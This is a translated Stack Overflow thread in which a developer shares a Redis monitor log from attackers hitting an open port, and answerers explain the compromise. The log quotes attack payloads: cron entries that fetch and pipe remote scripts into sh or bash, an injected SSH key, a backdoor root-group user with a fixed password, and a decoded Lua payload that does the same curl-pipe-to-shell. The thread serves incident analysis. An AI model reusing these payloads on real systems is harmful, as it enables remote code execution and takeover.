尝试通过Redis开放端口攻击主机

3

我在开发机上使用redis,有一个开放的端口。最近有人试图通过redis访问我的主机,我有一个监控redis的控制台,以下是他们用来获取访问权限的命令。我还提供了一些命令的日期时间。

GMT: Monday, August 21, 2017 4:47:53.384 AM [0 74.82.47.3:46986]     "INFO"
[0 94.74.81.202:55564]   "COMMAND"
[0 94.74.81.202:55564]   "flushall"
[0 94.74.81.202:55606]   "COMMAND"

GMT: Monday, August 21, 2017 9:21:43.586 AM [0 94.74.81.202:55606]   "set" "crackit" "\n\n\nssh-rsa .....<ssh_key>.... redis@redis.io\n\n\n\n"
[0 94.74.81.202:55646]   "COMMAND"
[0 185.163.109.66:40470] "INFO"
[0 185.163.109.66:40470] "SCAN" "9000"
[0 74.82.47.5:39660]     "INFO"
[0 98.142.140.13:51586]  "INFO"
[0 98.142.140.13:51586]  "SET" "sxyxgboqet" "\n\n*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh\n\n"
[0 52.14.111.241:58464]  "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\tcurl http://112.74.29.139:8898/1.sh|bash\n\n"
[0 106.2.120.103:41329]  "INFO"
GMT: Tuesday, August 22, 2017 9:56:04.350 PM [0 178.62.175.211:58716] "eval" "local asnum ... see link below "

...完整的Lua脚本...

[0 184.105.247.252:33152] "INFO"
GMT: Wednesday, August 23, 2017 7:18:35.995 AM [0 52.14.111.241:49208]   "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\t(useradd -G root axis2;(echo 'asdf1234' | passwd --stdin axis2) || (echo 'axis2:
asdf1234' |chpasswd));crontab -r;:>/etc/crontab;\n\n"
GMT: Wednesday, August 23, 2017 6:04:36.397 PM [0 98.142.140.13:43540]   "INFO"
GMT: Thursday, August 24, 2017 5:22:26.931  AM [0 216.218.206.68:19396]  "INFO"

以下是我redis.log文件中的内容

22 Aug 09:59:29.865 AM * RDB: 6 MB of memory used by copy-on-write
22 Aug 09:59:29.951 AM * Background saving terminated with success
22 Aug 09:59:30.137 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.049 AM * 1 changes in 900 seconds. Saving...
23 Aug 07:18:36.052 AM * Background saving started by pid 25388
23 Aug 07:18:36.054 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.153 AM # Background saving error
............. 
repeated every 6 minutes

有人可以解释一下 Lua 脚本具体是做什么的吗?根据 Redis 日志,我猜测它试图评估保存在“lololili”键中的 bash 命令。

提前感谢您。


3
您的计算机现在是僵尸网络的一部分。到目前为止,它们已经创建了一个新用户,试图安装minerd(比特币挖掘软件)等。我强烈建议您清除服务器并重新安装系统。 - hek2mgl
我在机器上找不到新创建的用户。还有什么需要检查的吗?我的crontab是干净的。 - ArthurVard
3
重新安装服务器。 - hek2mgl
1
该脚本试图执行 curl http://185.169.198.42/assets/Circle_JJ.png | sh 命令(此命令在 Lua 脚本中的多个 "dwords_to_double" 调用中进行编码)。 - Egor Skriptunoff
1个回答

2

你好,这是一次试图攻击您的计算机。 如果没有适当的防火墙保护,请不要将redis暴露在互联网上。

根据我所看到的,我猜测这个人正在尝试退出lua沙盒。

如果您有一个开放的redis服务器,那么有多种方式可以黑进您的计算机。

  • 通过退出lua沙盒(在稍微修改了的附加代码的redis 2.8.4上成功尝试过)
  • 通过上传恶意脚本,试图让您或您的软件因错误而执行它们。(使用数据库)

关于lua沙盒退出的一些参考资料:

以及redis文件上传:

您应该检查您主机上属于redis的任何文件。

find / -user redis

如果你没有发现什么问题,那很好,但请确保你的服务器安全。

谢谢您提供的链接,我会仔细查看。我在“/proc/28493”文件夹下找到了文件和文件夹。这是我的开发机器,我打算尽快重新安装它。 - ArthurVard
1
/proc 目录下的任何文件都与当前正在运行的进程相关,不用担心。 - thibault ketterer
/proc 目录下的任何文件都与当前正在运行的进程相关,不用担心。 - thibault ketterer

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接